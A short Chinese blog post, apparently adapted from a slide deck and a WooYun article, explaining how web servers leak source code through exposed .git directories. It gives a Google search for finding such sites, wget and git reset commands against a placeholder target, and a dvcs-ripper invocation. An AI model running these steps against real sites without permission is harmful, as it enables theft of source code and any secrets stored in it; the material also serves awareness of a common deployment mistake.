本来是看到这个文章,觉得还不错,想简单翻译一下搬到博客上来。结果晚上就发现一篇更详细的ppt。

原 ppt 链接 http://www.slideshare.net/kost/ripping-web-accessible-git-files

中文翻译基于 http://zone.wooyun.org/content/18004,有修改~

在运行git init初始化代码库的时候 会在当前目录下产生.git目录,用来记录代码的变更等等

.git目录结构如下

sky@linux:~/git-repo/test$ tree .git 
.git 
├── branches 
├── config 
├── description 
├── HEAD 
├── hooks 
│   ├── applypatch-msg.sample 
│   ├── commit-msg.sample 
│   ├── post-update.sample 
│   ├── pre-applypatch.sample 
│   ├── pre-commit.sample 
│   ├── prepare-commit-msg.sample 
│   ├── pre-push.sample 
│   ├── pre-rebase.sample 
│   └── update.sample 
├── info 
│   └── exclude 
├── objects 
│   ├── info 
│   └── pack 
└── refs 
    ├── heads 
    └── tags 

9 directories, 13 files 

发布代码的之后,直接把开发目录拷贝过去(.git)也在里面,然后就中奖了。。。

google一下:".git" intitle:"index of"

人肉获取法:

mkdir git-test 
cd git-test 
#下载.git文件 
wget --mirror --include-directories=/.git http://www.target.com/.git 
cd www.target.com 
#版本回退,得到了源代码 
git reset --hard 

如果apache是Options FollowSymLinks,.git访问是403,上面这种人肉法就失效了。。。

需要借助工具,来遍历关键文件并下载恢复: https://github.com/kost/dvcs-ripper

rip-git.pl 

Example: ./rip-git.pl -v -u http://www.example.com/.git/ 

实例: WooYun: 友盟网git服务使用不当导致源代码泄露 被忽视的开发安全问题 HCTF writeup(web) One git command may cause you hacked(CVE-2014-9390)

git教程(写的真心详细) http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000